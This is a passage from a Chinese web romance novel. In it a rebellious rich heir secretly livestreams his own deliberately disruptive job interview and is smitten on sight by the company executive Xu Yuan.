这人眼窝深邃,鼻梁高挺,长相极致俊美,周身散发着狂野的气息,脸上带着桀骜的表情。 他大概有190多公分高,肩膀宽阔,窄腰劲瘦,长腿笔直。 看见他走进大厅,前台差点以为自己入职的是一家娱乐公司。 圈里最红的天王巨星也无法与男子相比。 “宋观鱼,名字也好听。”前台看着男子大步离开的背影,恍恍惚惚低语:“名字也像娱乐圈的明星。” 宋观鱼没往电梯口去,直接推门进入楼梯间。 手机里传出说话声,语气非常强硬:“除非应聘成功,否则老子不会把你的那些摩托车还给你!二十几岁了,连个正经工作都没有,天天在外面疯玩,交一群狐朋狗友!莫非你要这么疯一辈子?” “怎么没有正经工作,我跟人赛车不帅吗不酷吗,我就乐意这么疯,我乐意我乐意我乐意。”宋观鱼吊儿郎当地嚼着一块口香糖。 “你乐意是吧?好!老子这就叫人把你那些摩托车全都烧了!”电话猛然挂断。 宋观鱼轻蔑地笑了笑,转而打出去一个电话。 “鱼哥。”一道元气满满的声音从话筒里传来。 “我的摩托车找到了吗?” “找到了,被你家宋总藏到郊外别墅了,我雇了几辆大卡车,帮你运出来了。” “行,回头我请兄弟们吃饭。” “鱼哥你在干嘛?你现在就出来呗。” “老头子让我去盛世上班,我今天要应聘。” “你去上班?”话筒里的声音陡然拔高,继而哈哈大笑,“鱼哥,你别开玩笑了!你浑身上下都写满了‘刺头’两个字,哪个公司敢用你啊!他们都不怕雇你来把公司招牌给砸了!” 宋观鱼的确很刺头,不仅刺头还拽横拽横的。 穿的吊拽,表情拽,长得也拽。华国人的温良在他身上半点不见,每根骨头都是反骨,每寸皮肤都写着桀骜,眼睛里都大写着两个字“刺头”。 他低沉的笑声在楼梯间里回荡,带着几分恶劣。 “我耍耍那些面试官,再把老头子的名号打出去。”宋观鱼慢条斯理地嚼着口香糖,哼笑道:“这事儿闹大了,肯定会有人告诉老头子。老头子脸都要丢尽了我看他以后还敢不敢逼我去上班。” “哈哈哈,鱼哥,你想怎么闹大?” “我胸口戴着一个微型摄像头,你们想看吗?我开直播让你们见识见识。”宋观鱼摸了摸胸前的纽扣,唇角恶劣地上扬。 “开开开,我马上把兄弟们叫过来看直播!”电话挂断了。 宋观鱼打开摄像头,连上手机,进了直播间。 与此同时,几个面试官前后走进会议室。 许愿忽然接到一个电话,歉然地说道:“段老师找我,我过去一趟,你们先面着,我忙完就来。真是抱歉,最近研究室运来一批新设备,有点乱。” “没事的许总,您先去吧,这里有我们。”三位面试官连忙摆手。 许愿欠身离去,越过长廊时刻意多看几眼,并未在等待的人群中发现陆飞博那张脸。 也不知那人去了什么地方,许是去打探盛世其他区域。 许愿眼眸微暗却也并未将小喽啰放到心上。 面试开始了。 宋观鱼嚼着口香糖,站在走廊最末端,百无聊赖地看着别的应聘者来回踱步,紧张焦虑,担忧期待。 目光触及自己,这些人总会皱皱眉头,露出反感的表情。 宋观鱼垂头看看自己酷帅的一身行头,不屑地撇嘴。 穿成这样,行吧,人嫌弃也正常。 【老头子,你猜我这一次能不能聘上?】他拿出手机打字。 【我赌你一定能。】电话另一头的人飞快回复。 能个屁,他就是要故意搞砸今天面试的。 宋观鱼嗤笑一声,把手机放进裤兜。 数秒钟后,陈飞豪接到一个电话,不知那头的人说了什么,他勉强答应下来,眉头皱得很紧,面色有些阴沉。 等候在一旁的特助低声询问:“陈总,怎么了?” 能让顶头上司露出这么为难的表情,这通电话涉及的恐怕不是小事。 陈飞豪满脸为难。 特助弯腰躬身,面容肃穆,默默等待。陈总这么久还没想好怎么开口,这件事必然非常难办。 “宋驰的儿子在下面应聘,他让我开一个直通车,把他儿子录了。” 宋驰是隔壁市的首富,有自己的企业,奈何再成功教养出来的儿子还是个混账东西,这次在金融峰会一睹许愿姿容,就想着把儿子塞到盛世,为此还允了份合同。 紧张情绪已经拉满的特助:“……” 就这? “应聘的是非常要紧的职务吗?”特助立刻猜测。 “不,就是一个普通职员。”陈飞豪摇摇头。 特助:“……” 就这,就这? 一个电话打过去,这事不就解决了吗?毕竟现在陈飞豪是盛世副总啊! 特助的表情有些匪夷所思。 “他应聘的是研发部。”陈飞豪叹了一口气,无奈道:“研发部是许愿的地盘,我哪里敢插手。” 研发部也就是段星河所在的部门,那个部门直接是许愿接管的,其他任何高层都不能插手。 而且他可是经了许愿提拔才有今天,他疯了才去插手许愿的事。 特助懂了。 的确,那可是许愿直接接管的,盛世内部谁敢插手。 “公司最近只有研发部在招聘职员。要不,您在分公司给宋少爷安排一个职务?”特助建议道。 “他说他儿子非常顽劣,希望能待在盛世总公司最好是许愿眼皮子底下被她看着。” 其实说白了就是冲着许愿来的。 分明就是孩子没教好,想让许愿给带孩子呢。 不是?许愿什么人啊还给你带孩子? 陈飞豪头疼。 他想拒绝,但是宋驰给的合同项目实在诱人,再加上宋驰的身份摆在那里他实在不好拒绝得罪。 陈飞豪沉吟片刻,忽然说道:“你去把赵响叫进来。” 数分钟后,赵响一脸僵笑地来到研发部,与一众面试者擦肩,慢慢穿过长廊。 第267章 恶劣 “不好意思,打扰一下。”她推开会议室的门,对侃侃而谈的面试者歉然地笑了笑。 “赵主任,您有事?” “许总呢?” “段老师那边有事找她,她去研究室了。您去那边应该能看见到她。” “她不在正好。来来来,王总你出来一下,我有事跟你说。” 赵响暗松一口气,连忙招手。许愿不在,她的压力顿时少了一半。 一名面试官立刻走出去。 赵响拉着对方来到楼梯间,小声说明情况,千叮咛万嘱咐:“……给宋少爷开后门这事儿,你千万不能告诉许总!许总最反感这个。你们三个心里知道就行了。” “我懂,我懂。宋公少爷叫什么名字?”王经理连连点头。 “叫宋观鱼。” “那个一头紫毛打扮得最潮的就是他。到时候不管他表现得多离谱,你们都让他过。宋总说了,只要你们录了他儿子,就跟我们签订那份合同,那合同可让了我们五个点!” 王经理浑身一颤,心内倍感震撼。 王经理掐出八根指头,呼吸不由一滞。 论霸气,到底还是宋总更霸气!为了帮儿子找一个工作,那人挥挥手就扔出去上亿!有钱人的世界,一般人真的不懂。 “难道宋少爷要的是我这个位置?”王经理慌了。 “没,他应聘办公室文员。你安排他入职就行了,应聘让他走个过场。”赵响连忙解释。 王经理放下心来,连说好办。 两人很快离开昏暗的楼梯间,并未发现上面拐角处站着一个身穿黑西装的男子。 门吱嘎合拢,男子悄无声息地走下来,眼眸里划过一道精光。 宋观鱼在搞直播,胸前的纽扣摄像机对准墙角,拍着一盆发财树。 直播间是私人的,必须输入邀请码才能进去。如今待在里面的十几号观众都是宋观鱼的狐朋狗友。 【鱼哥,别拍发财树了,拍一拍那些面试的人。】手机屏幕上划过一条弹幕。 “人家辛苦跑来面试,你们在一边评头论足,你们道德吗?”宋观鱼懒洋洋地斜倚着墙壁,嘴里的口香糖早已嚼得没有一丝甜味。 【我们不评头论足,我们就见识见识。我们还没上过班呢。】 这些人都是富二代里的纨绔,平时的主要任务就是吃喝玩乐,挥霍家产,哪里需要工作。 “待会儿哥进去面试,哥让你们长长见识。”宋观鱼懒洋洋地靠在墙角,满脸兴味。这个地方本来挤满了人,他往这儿一站,场地就空了。 在遍地都是精英的环境中,像宋观鱼这种浑身反骨,野性难驯的人,其危险性是显而易见的,也是格格不入被人排斥的。 【哥怎么还不到你?】 【哥你快进去啊,等不及了。】 【哥你要给他们整点什么有意思的?】 公屏上乱七八糟,乌烟瘴气。 宋观鱼瞥了一眼,嗤笑一声。 “请问,”一道迟疑的声音从对面传来,带着一些好奇,“你都不紧张的吗?” 宋观鱼抬头看去。 一个身穿黑西装的青年从走廊的另一端慢慢来到他面前,长得十分俊秀,笑容非常腼腆,眼睛清澈明亮。 这是一个很容易给人留下好印象的人,浑身散发着阳光的味道。 直播间里的白富美感叹道。 【这人笑起来挺可爱,有两颗小虎牙。】 【鱼哥,终于有一个人不怕你这个古惑仔了。】 【哥,你跟他聊聊呗,反正等着也是无聊。】 【小帅哥很阳光哦!】 大家对来人印象很好,宋观鱼却皱起眉头,眸色冷厉。 他虽然朋友多,却不是一个容易接近的人。 自己打扮得这么另类,别人都远远避开,偏偏青年莫名其妙凑过来。 如果没记错的话,领号码牌的时候,宋观鱼跟这人打过照面。 那时候,对方眼里的情绪全是厌恶反感,跟别的面试者如出一辙。 现在,这人忽然跑过来,摆出这副绵软可爱的样子与自己攀谈,是做戏呢,还是做戏呢? 估计不知道从哪里知道他身份了。 宋观鱼讥讽地勾起唇角,反问道:“你很紧张?” “有一点。”对方开口“我叫陆飞博,你呢?” “宋观鱼。” “你很特别。”陆飞博评价。 若不是宋观鱼过目不忘,见过一次的人都会牢牢记在心里,他一定会产生与对方交个朋友的念头。 仅凭外表,别的面试者都认为自己是洪水猛兽,退避三舍,唯独他跑过来接近他。 只可惜宋观鱼不好骗。 “我哪里特别?”低沉的声音里带上了几分笑意,漆黑眼眸里却有恶意闪过。 陆飞博没有发觉,还故意做出一副友好姿态:“你长得特别帅,穿的也特别酷。你不怕被面试官刷下去吗?” 直播间里冒出许多弹幕。 【这孩子跟鱼哥气场很合!】 【他是刚毕业的大学生吧?也只有大学生眼睛里才有清澈的愚蠢】 【鱼哥,你跟他要个微信,哪天我们带他去飙车,吓吓他。】 狼群都喜欢对小绵羊下手,陆飞博算是戳中了这些纨绔二代们的痒处。 直播就是要互动拉扯,找个好玩的人整些花活,不然多没意思! 如果宋观鱼没有过目不忘的能力,他大概也会被这段精彩的表演耍得团团转。 可惜了…… 宋观鱼站直身体,上前几步逼近青年,头微微低垂,狭长眼眸幽深带着明显的冷意。 “你应该去娱乐公司应聘演员,不该来盛世当文员。” 冰冷的一声嗤笑,带着浓烈的嘲讽和鄙夷,响在陆飞博耳畔。对方的脸一瞬间变得惨白。 【鱼哥,你在说什么?】 【这人在跟你演戏?】 【哥他该不会认识你,故意跟你套近乎吧?】 【肯定猜出来哥身份不一样啊!不然怎么就他凑过来。】 【不是,这年头还有这么能演能装的人,真跟鱼哥说的一样该去演戏。】 狼群终究是狼群,很快就开始扒小绵羊的皮。 “一群蠢货,没我你们早就被拉出去卖了。”宋观鱼懒洋洋地靠回墙壁,低声骂了一句。 第268章 面试 直播间里打出一片彩虹屁,每一位观众都在不遗余力地赞美宋观鱼。 陆飞博僵硬地站在原地,脸色十分苍白。 “你是不是误会什么——” 他似乎酝酿好了,正准备开口解释。 “9号宋观鱼,该你面试了。”走廊对面忽然传来一声喊。 宋观鱼看也不看陆飞博,大步走去,嘴角上扬,勾出一抹恶劣的笑容。 最大的乐子来了! 陆飞博脸色都是冷的。 【鱼哥,看你的了!】 直播间里一片呐喊助威之声。 会议室门口放着一个挂衣架。 宋观鱼一进去就把架子挪到中间靠墙的位置,脱掉皮衣挂上去,整理了一下领口,让纽扣摄像头对准自己和面试官所在的方向。 三个面试官面面相觑,完全不敢对宋少爷放肆的举动有所批评。 身份摆在这里,也只能装了。 宋观鱼看了一眼手机,确认直播间里画质清晰,拍摄角度全面,这才坐在那个单独摆放的板凳上。 “还有一个面试官怎么没来?”他跷起二郎腿,鞋尖指着空出的那个座位,他甚至连手都懒得伸一下。 面试官和面试者的位置一下子颠倒了。 【哈哈哈哈,鱼哥好狂!】 【救命这到底是谁面试谁啊,好像鱼哥下一秒就能对他们说你们可以直接滚蛋不适合我们公司这种话了】 【看他们的怂样!】 【废话,鱼哥父亲是临市首富,换谁谁不怂!】 “许总有事,待会儿再来。没关系,我们面试你也是一样的。”王经理下意识地解释一句。 “咳咳咳。”另外两个面试官暗暗提醒他不要表现得太谄媚。 王经理回过神来,立刻敛去笑容,开始提问。 另外两个面试官也分别问了几个最基础的问题。 刚开始,流程都很顺利,宋少爷也很配合。大家都以为这个任务不难完成。 然而,当王经理问“你为什么会从上一家公司离职”时,意外发生了。 “哦,上一次离职啊。”宋观鱼缓缓解开白衬衫的纽扣,勾唇说道,“我上一任老板太古板,因为我喜欢男人他接受不了就让我离职了,他说担心我喜欢他,真搞笑,他长得像你们这群人似的秃头大肚子的我能喜欢他我眼瞎吗。” 面试官们:“……” 啊? 什么啊? 没听说过你喜欢男人啊? 什么时候的事?这事儿宋总知道吗? 面试官们人都傻了,是真的担心自己知道了什么豪门辛秘被灭口啊。 面试官们擦拭着脸上的冷汗干笑几声。 王经理干笑两声回应:“是是是,你长得这么好看就该去走T台。” 宋观鱼歪着头看他乐了。 这人一看就是知道他底细的,不然不会这么谄媚。 “是吧,我也这么觉得,要不我给你走一段?如果你觉得我走得还行,还能给我申请个什么特殊岗位?” 不是?什么特殊岗位啊? 面试官人都傻了,结果下一秒宋观鱼就把衬衫纽扣解开了,露出一副壮硕结实的身体。 然后面试官就见他强健胸肌上纹着一条栩栩如生的青龙,知道的这是正经公司在面试的,不知道的还以为这是什么社会团伙在找茬了。 宋观鱼不觉得自己是找茬,他还特地在房间里面慢慢转了两圈,让三位面试官全方位欣赏自己的刺青。 “好看吗?”他指着胸口处狰狞咆哮的龙头。 三位面试官:“……” 王经理默默地捂脸,这……这真的没办法夸啊,宋少爷整这出宋总知道吗,但凡谁给宋少爷一把刀,他们都能觉得宋少爷下一秒可能就要去砍人啊。 直播间里:【哈哈哈哈哈哈哈!】 【鱼哥你来真的啊,我去,你家宋总知道了怕是要气死!】 【鱼哥叛逆不是一天两天了,这不是更有意思!】 【鱼哥,让这些精英好好长长见识!】 【鱼哥社会!】 “我上一任老板就说我这纹身不好看把我开除了,哪儿不好看了,他不知道我们国人都是龙的传人吗。” 啊?不是因为你喜欢男人才把你开除的吗。 结果下一秒就听见宋观鱼说:“虽然我喜欢男人还纹身但是我是个好人啊,就这么莫名其妙开除我是不是有毛病。”他这么说就是笃定了这群人不会反驳自己。 宋观鱼坐回自己原来位置,随意的扣上几颗纽扣,但是胸膛处那最凶的半个龙头还露在外,看着还挺唬人。 三位面试官:“……” 面试官不敢吱声,他们实在是无言以对,这次就连王经理都没办法捧场了。 尴尬中,三人只能低下头,假装认真地翻看简历。 宋观鱼上一份工作是在宋家的某个分公司当项目经理。 他的老板就是他老爹。 宋观鱼去跟宋总说自己喜欢男人还纹身,他能受得了这个? 别说宋总了,他们也接受不来啊,又不是混社会的。 三位面试官互相看了看,王经理恍惚好半天才勉强挤出笑容:“的确是有些过分,身体是你的,你有纹身的自由,你喜欢什么人……这个这个也是你自己的选择,这种事又不会打扰别人。” 为了那份合同,王经理也是能忍常人所不能忍。 纹身没什么喜欢男人没什么,只要宋少爷不咬人就行了。 虽然做足了心理建设,三人依旧露出吃了屎般的痛苦表情,但凡宋观鱼换个身份,他们是真的能立刻让宋观鱼滚蛋的。 直播间里笑翻一大片。 宋观鱼吊儿郎当地嚼着口香糖,逆天的大长腿叉开,伸直,并拢,摇晃,好像无处安放。 过场总是要走的,一早就准备好的问题还是要问的,不然显得他们太不专业了。 王经理斟酌半晌,战战兢兢开口:“请问,让你印象最深刻的一次职场经历是什么?” “最深刻的一次经历?”宋观鱼眯了眯眼,忽然站起来,走到三位面试官跟前。 三人连忙战术性后仰。 他们是真的不知道宋观鱼还想整什么幺蛾子,万一宋少爷不咬人但是打人呢! 宋观鱼恶趣味地笑了笑双手插兜。 第269章 心动 “我印象最深刻的一次经历是半夜装鬼吓唬老板算吗?” 他甚至还特地摆了个造型,不知道从哪儿掏出来套贞子服装套身上,手机还响起阴森森的音乐,房间内的灯都被他关了,看着还真有那么点感觉。 三位面试官:“……” 直播间里的纨绔二代们:【哈哈哈哈哈哈哈!鱼哥整活了!】 宋观鱼把放着音乐的手机插进裤兜,慢慢后退,然后突然逼近几个面试官,虽然早就知道这是宋观鱼装的,但是他们怕宋观鱼打人啊!!! 王经理实在是惊慌,匆忙往后移,结果下一秒就见宋观鱼伸手揪下他头顶的假发,露出了光秃秃的脑门。 王经理:“……” 王经理面红耳赤,其他几个面试官也是直捂脸。 过了好一会儿宋观鱼才把假发丢到地上,王经理才慌里慌张地弯下腰,脸颊通红地捡起假发,狼狈不已地扣在头上。 一万匹草泥马在面试官们的心里轰隆隆跑过。 宋少爷面试成这神经病样子,还让他顺利入职公司,别说良心痛不痛了,就是宋观鱼估计都知道他们为什么这么纵容了,这就是早知道他们不会把他刷下去了! 【哈哈哈哈哈哈,我笑劈叉了!】 【鱼哥摆烂到这种程度,我看这三个面试官有什么脸录用鱼哥!】 【鱼哥摘人假发哈哈哈哈,神经病啊!我看那老头脸都绿了!】 【鱼哥,你再整一个活儿!】 宋观鱼看见最后一条弹幕,嚼着口香糖问:“还有问题吗?我一定好好回答。” 每一个问题就是一个花活儿,他都准备好了。 他关掉阴森森的配乐,转而捏自己的两个拳头,骨节摩擦的咔哒声让三位面试官眼皮子直跳。 两位面试官看向一直致力于活跃气氛的王经理。 王经理努力调整着自己的假发,一声都不敢吭。 会议室里安静地诡异,是的,王经理不吱声,他们也不敢说什么,真怕哪个问题不对了再刺激到这位少爷。 “我今天心情好,你们问什么,我一定答什么。” 宋观鱼跷起二郎腿,冲三人扬了扬下颌,态度十分嚣张,像是自己给了这群人什么恩典似的。 三位面试官依旧沉默,面容涨成猪肝色。 一道清润的声音忽然从门口传来:“不好意思,我来晚了。” 紧接着,不急不缓的高跟鞋的声音哒哒响起。 三位面试官差点哭出来。 太好了,许总终于回来了!大家得救了!宋少爷这个混世魔王还是交给许总对付吧! 他们这些高层真是从没有觉得许愿是什么救世主啊,直到现在他们才觉得许愿,真神!求求了,治一治宋少爷吧! 许总都能制住段老师那样的人物,那宋少爷这样的纨绔混子还不是手到擒来的吗? 宋观鱼脸上还带着桀骜不驯的笑意,他倒要看看谁来了让这群老头露出这如释重负的表情,他们这是把谁当救世主了? 宋观鱼吊儿郎当的回头看去,喉结急促一滚,然后便开始剧烈咳嗽。 艹!他竟然把口香糖吞下去了! 直播镜头也跟着他的移动拍到了来人。 直播间里“哈哈哈”的弹幕瞬间清空,变得干净异常。 不知过了多久才有人不敢置信地问:【这个人……是真实存在的吗?鱼哥,你是不是花钱找人做了一个全息爱豆?】 出现在他们眼前的,是一张建模都无法比拟的脸。 宋观鱼从来不觉得自己没见过世面。 自由奔跑在丛林里的野狼能够拥有的广阔世界,不是栓在屋里的家犬可以想象的。 然而他此刻所看见的一切,也是曾经的他无法想象的。 一名身材高挑婀娜的美人缓步走进会议室,明艳精致的面容映照在白炽灯下,散发出微光,带着无尽风情的眼眸有破碎的星芒浮动。 她薄唇泛着令人迷醉的樱红色,贴合贝齿的内侧唇肉却沁出一些绯色,极致的素雅里裹着若隐若现的浓艳。 她身上穿着的是经典款的职业正装,白衬衫加包臀黑裙,宋观鱼不是没见过旁人这样打扮,但她实在是长得漂亮。 她太白了,像是在发光,肌肤像是莹莹白玉散发微光,而裸露在外的纤细小腿让人只是瞄一眼便移不开了,小腿纤细修长,红底高跟鞋穿在她脚上,让人只是瞧着就生出点别的渴望,想让她……想让她踩一踩。 只看了一眼,宋观鱼就惊呆了,实在是没控制住把嚼了半天的口香糖也吞下去,引发剧烈咳嗽。 饶是在如此狼狈的情况下,他的目光依旧无法从许愿身上移开。 她明明没有什么特别的打扮,甚至头发都没有散下而是高高盘起的,像是随手盘的有点松散,却也露出了白皙的天鹅颈和精致性感的锁骨,多余的饰品都没有佩戴,但就是让人觉得她这个人奢华矜贵,比这世界上最漂亮美丽的宝石还要耀眼夺目。 怎么就有人漂亮成这模样啊!长这样真的不会被人抢回家当老婆的吗? 宋观鱼瞪着眼睛一直咳,脸颊慢慢涨红。 宋观鱼只觉得自己此刻多看一眼,面皮的温度就上升几分,血液也跟着灼烧,心脏怦怦狂跳。 【我靠到底谁啊,怎么能漂亮成这样,她在发光你们没看到吗!】 【像珍珠像钻石……不,像价值千金的翡翠玉石,真的好美的。】 【鱼哥,这人有毒!】 【致命的美貌啊卧槽!】 【盛世真的不是娱乐公司?把这个美女拉去当台柱子,赚翻了好嘛!】 【鱼哥被自己的口水呛到了哈哈哈!】 【不争气的泪水从鱼哥的嘴角流下来。】 宋观鱼连忙抹了抹嘴角,生怕自己真的流口水。 这群都是纨绔二代,压根就没关注过什么金融新闻商业新闻,自然也就不知道许愿,只是有个人总觉得许愿眼熟,绞尽脑汁想了好半天才想出来许愿是谁。 【卧槽你们可闭嘴吧!这人是许愿啊!】 【许愿?谁啊?我冲她许愿她能满足我的愿望吗?那她给我当爱人好不好呜呜呜呜】 第270章 已经在心里偷偷叫老婆了 狭小直播间都炸了。 【滚滚滚,她叫许愿!不是你们真不知道啊!横空出世的商圈金融圈的天才美女啊,傅氏之前的铁三角你们没听说过吗?没听说过许愿的名字那你们总听说过傅氏参与洪门谈判的许秘书吧!这也不知道你们就真废了!】 【靠啊!她啊!洪门谈判那主力!不是没人跟我说她长这样啊!】 【你告诉我她顶着这么一张能美炸地球的脸在国外掀了莱蒂斯的脸皮在谈判桌上压制住莱蒂斯嚣张气焰?她顶着这样一张脸啊!】 【上帝到底给她关了哪一扇窗啊!】 【鱼哥明显被迷住了!】 【废话换我我也被迷住了。】 这群纨绔二代也就知道这么点消息了,旁的一概不知,更不知道许愿已经有了爱人。 许愿推门进来,看到房间内昏暗,随手打开灯,轻飘飘的扫过三位面试官,却觉得他们脸上表情古怪,像是在隐忍什么。 许愿看不太明白,也不知道这群人是怎么了。 目光掠过一旁宋观鱼身上,宋观鱼还在捂着脖子咳嗽。 “你怎么了?”她的声音在宋观鱼听来就像林间的溪流。 人已经长得这么漂亮,衣品好到爆,声音竟然还可以这么动听?! 宋观鱼的脸皮已经红得滴血,不争气的泪水真的要从嘴角流出来,他现在就想求爱啊! “许总,他好像不小心把口香糖咽下去了。”终于戴好假发的王经理慌里慌张地说道。 宋观鱼捂住嘴,眼睛直勾勾地看着许愿。 许总?哪个许? “喉咙里卡东西了?”许愿皱起眉头,喉咙里卡了东西可不能开玩笑,许愿担忧地说道:“你咳出来了吗?需不需要海姆立克?” 海姆立克?是从背后环抱过来,双手搂住自己的腰吗? 宋观鱼立刻放下捂嘴的手,强烈要求:“要的要的!” 许愿:“……看样子是不要。” 许愿很轻很轻的叹了口气。 直播间里的狐朋狗友们噗嗤噗嗤的笑作一团。 【哈哈哈哈哈!鱼哥你矜持一点!】 【完了,鱼哥一见钟情了!】 【鱼哥碰到自己的真命天女了啊】 【我都怀疑鱼哥已经想好孩子以后叫什么跟谁姓了。】 【鱼嫂!】 【鱼嫂好美!】 许愿转身去拿桌上的矿泉水。 等他走远了一些,宋观鱼才掏出手机匆匆瞟一眼,压低声音警告:“别他妈调戏你们嫂子!” 【真是嫂子啊!】 【所有的一见钟情都是见色起意!】 【鱼哥,你馋嫂子身子!】 【长成这样鱼哥还不喜欢那鱼哥才有毛病哎。】 【以前以为鱼哥喜欢仙女,现在看来,嗯,这是真仙女!】 宋观鱼还想骂一句,却听见许愿开口:“地上的水瓶?” 刚才宋观鱼玩闹时桌上的几瓶水全都滚落到地上了。 “呃,这个是……” 王经理还在编造借口,宋观鱼已飞快把手机插进裤兜,抢步上前,匆忙捡起瓶盖。 “我去捡起来!” 多好的大男孩啊!多阳光善良啊!前提是这不是宋观鱼弄掉的!王经理捂住自己的嘴,笑意已经掩藏不住了。 看看,他就知道许总能整治他,这还什么都没做呢,宋观鱼自己就先怂了。 许愿见他捡起了地上的几瓶水只淡淡的点了下头,带着点冷淡感。 “轮到你来面试了?” 她随口问了句。 宋观鱼立刻点头,看着她都已经星星眼了,满脑子都是老婆。 “喝口水先面试。” 许愿并未动作,随意的指了一瓶水,宋观鱼却刨根问底:“我喝哪一瓶?” 许愿挑了下眉只歪了下头:“那就第一瓶。” 宋观鱼果然走过去拿了第一瓶紧紧握在手里。 “谢谢许总。”宋观鱼低下头,语气有些羞赧,然后仰起头,吨吨吨地喝水。 一口气下去,一瓶水没了。 直播间里的狐朋狗友:【鱼哥,注意形象!】 【要小口小口喝!】 【鱼哥,优雅啊!一定要优雅!】 宋观鱼喝完还不忘记握着空瓶子。 许愿:“……” 这孩子是不是有点傻。 王经理已经没眼看了,忍不住开口:“那个……垃圾桶在旁边。” 捧着空瓶子跟捧着宝贝似的,太离谱了。 宋观鱼却好像完全不领情,捧着自己的瓶子瞪向王经理,活像是王经理打算抢他瓶子似的,有点凶。 王经理:“……” “你知道这是什么吗?” 宋观鱼逼问。 王经理:“?”啊?什么? “这是塑料瓶,你知道一个塑料瓶能卖多少钱吗!”宋观鱼继续逼问。 王经理想了下:“大概五分钱到一角钱吧。” 王经理还真的给出了正确答案,他昨天在家附近溜达的时候遇到捡废品的老大爷随口问了句,谁知道还能在今天回答宋观鱼的问题呢,他还没得意呢,宋观鱼已经满脸幽怨的带着怒意的看着他。 另外两个面试官纷纷捂脸。 老王平日里多聪明啊,怎么今天就开始犯傻了,宋少爷这分明是想装逼啊,这还没装起来王经理先把人梯子踹了,不瞪他瞪谁,纹了青龙的宋少爷不打人都是好的。 宋观鱼磨了磨牙:“对,这是一角钱,是个瓶子就是一元钱,一元钱用处可太大了,而且最重要原因是这瓶水是许总给我的,我会好好保存的,这是很有收藏价值的空瓶子,你这种凡夫俗子是不会懂的。” 王经理:“……” 王经理终于反应过来自己做错了什么事,整张脸都黑了,只能尴尬的笑笑。 许愿淡淡的看了宋观鱼一眼:“可以开始面试了。” 宋观鱼点头点头,许愿略带着点无奈的摇了下头,余光却瞥见宋观鱼胸口的大片刺青,那个龙头,很显眼。 “这是什么?”许愿伸出细长食指,指向他胸口处的一点青色痕迹。 艹!忘了扣好衣服!纹身露出来了! 宋观鱼的笑容变成了无法掩饰的惊恐,宋观鱼手忙脚乱地扣上扣子。 许愿挑眉:“你有纹身?” 说实话,这种大面积的纹身真的会降低印象分。 第271章 不希望再来个刺儿头 许愿其实并不在意这些,但是现在她掌管的是研发部,且段星河本身就已经够刺儿头了,她可不希望招来第二个刺儿头,她最近真的很忙,可能没有时间再驯服第二个段星河这样的人物,更何况,她还不确定这人有没有一定的能力。 许愿上下打量对方,目光着重扫过这头带着点妖异的紫毛。 嗯,是个叛逆的,不好管。 心里有了初步的判断,许愿嘴角的笑意淡去几分。 宋观鱼慌了。 彻彻底底慌了。 刚才他有多嚣张,现在就有多狼狈。 妈的,要是早知道自己真命天女是里的总裁主管这个部门,他一定把自己捯饬地规规整整,板板正正的!头发肯定是黑色的,衣服肯定穿黑西装! “许总,我这个纹身是贴上去的,我就是图一个好玩,过几天它就掉了!”宋观鱼慌忙解释,飞快把扣子扣到顶。 这确实是纹身贴,压根没有自己纹身,他也怕宋老头被气出好歹。 “嗯。”许愿点点头,坐在自己的位置上。 宋观鱼坐回去,用力捋了捋自己的一头紫毛,满脸沮丧,心里懊悔得要死,到底是谁说他紫头发好看的,他现在只被看出叛逆了。 【鱼哥玩脱了哈哈哈!】 【许总明显不喜欢鱼哥的纹身!】 【别说纹身了,就是那头紫毛也不喜欢啊。】 【可是鱼哥那头紫毛确实好看,就是看着不太像正经人。】 看见宋少爷像霜打的茄子一般蔫吧在椅子上,王经理和另外两个面试官心里都有些暗爽。 许总连段老师和他们公司的高层都能轻易拿捏,还拿捏不了你一个混世魔王? 许愿拿起桌上的简历,抬眸扫了宋观鱼一眼。 坐没坐相的宋观鱼立刻蜷起两条大长腿,挺直脊背,双手摆在膝盖上。看见裹得很紧的皮裤,他再度陷入懊悔的情绪。 艹,真不应该穿这套衣服来面试!但愿宋老头打的招呼有用,盛世能够给我开个后门。 宋观鱼眼巴巴地看着许愿,再度露出温柔的笑意,方才面试官们都没收到他一个友好的笑容。 许愿没看他,只是慢条斯理的翻看简历,是宋观鱼的简历,翻看了几页许愿微微眯眼,语气有些冷:“这份简历我没见过,谁放进来的?” 笑容僵在脸上,宋观鱼心慌气短,浑身冒汗。 他非常聪明,只一句话就听出了许愿的言外之意。 今天这些面试者,都是许愿一个一个亲自挑选的,条件必须达到他的预期。 学历,荣誉,成绩,经验,都得是同批次的佼佼者才行。 她既然对宋观鱼的简历没印象,就证明宋观鱼从一开始就被她淘汰了。 是宋总打了招呼,宋观鱼的简历才被安插进去。 而这声招呼是背着许愿打的,许愿根本不知道,也不买账。 还有,之前有个女的下来找王经理,走过走廊的时候看了宋观鱼好几眼。她也是下来帮宋总打招呼的吧?那时候许愿也没在。 因为许愿不搞以权谋私这一套,所以这些人想趁许愿不在的时候赶紧把宋观鱼面试过去,偷偷录了。 宋观鱼满脑子都是许愿太优秀了!人品太好了!这样的人就适合给他当老婆。 可是现在怎么办?我怎么才能留在盛世,陪许愿一起上班? 短短几秒钟时间,宋观鱼的心情像过山车,从顶峰直接荡到谷底。 王经理不停捋着额角的一绺头发,紧张万分地说道:“因为您挑出的人太少了,人事部那边补录了几十个。” 另外两个面试官也在解释:“咱们现在太缺人了,没办法。” “卫生没人打扫,开个会找不到人做记录,许总您看,咱们缺人已经缺到这份上了。要求什么的可以适当放低,先把部门运转起来再说。新员工是可以培养的,学历这些东西不能完全代表个人能力。” 许愿冰冷的面色终于有所缓和。 许愿忙了大半天,对部门缺人的情况有着深刻的体会。 虽然上面可以安排人,但是段星河那个人挑剔,竟然开口说上面的人太古板,站的姿势都太板正不喜欢,没办法,只能重新应聘新人。 宋观鱼荡到谷底的心情慢慢回升,拼命挤出友好温柔的笑容。 直播间里,大家都在拿他打趣。 【鱼哥笑得好傻!】 【来来来,大家赌一把!】 【赌什么?】 【赌鱼哥能不能被鱼嫂录用!】 【我赌会!宋总打过招呼了!】 【笨蛋!鱼嫂没见过鱼哥的简历,他肯定不知道鱼哥的身份!我赌鱼哥会被刷掉!】 【好不容易找到老婆,老婆还看不上鱼哥。鱼哥实惨,嘻嘻嘻嘻!】 【完蛋,鱼哥如果被刷下去……我已经无法想象后面会发生什么了。】 宋观鱼也知道许愿看不上自己。 他现在恨自己当年太贪玩,不肯好好读书考大学,只能被父亲送出国去混文凭。 如果是其他企业宋观鱼的文凭还是很值钱的,但这是许愿,国外什么大学有真材实料,什么大学是混子去的她最清楚,他心里清楚许愿既然能做到这位置肯定了解这些。 外面那些应聘者一个个都是精英,他的简历肯定不够看! 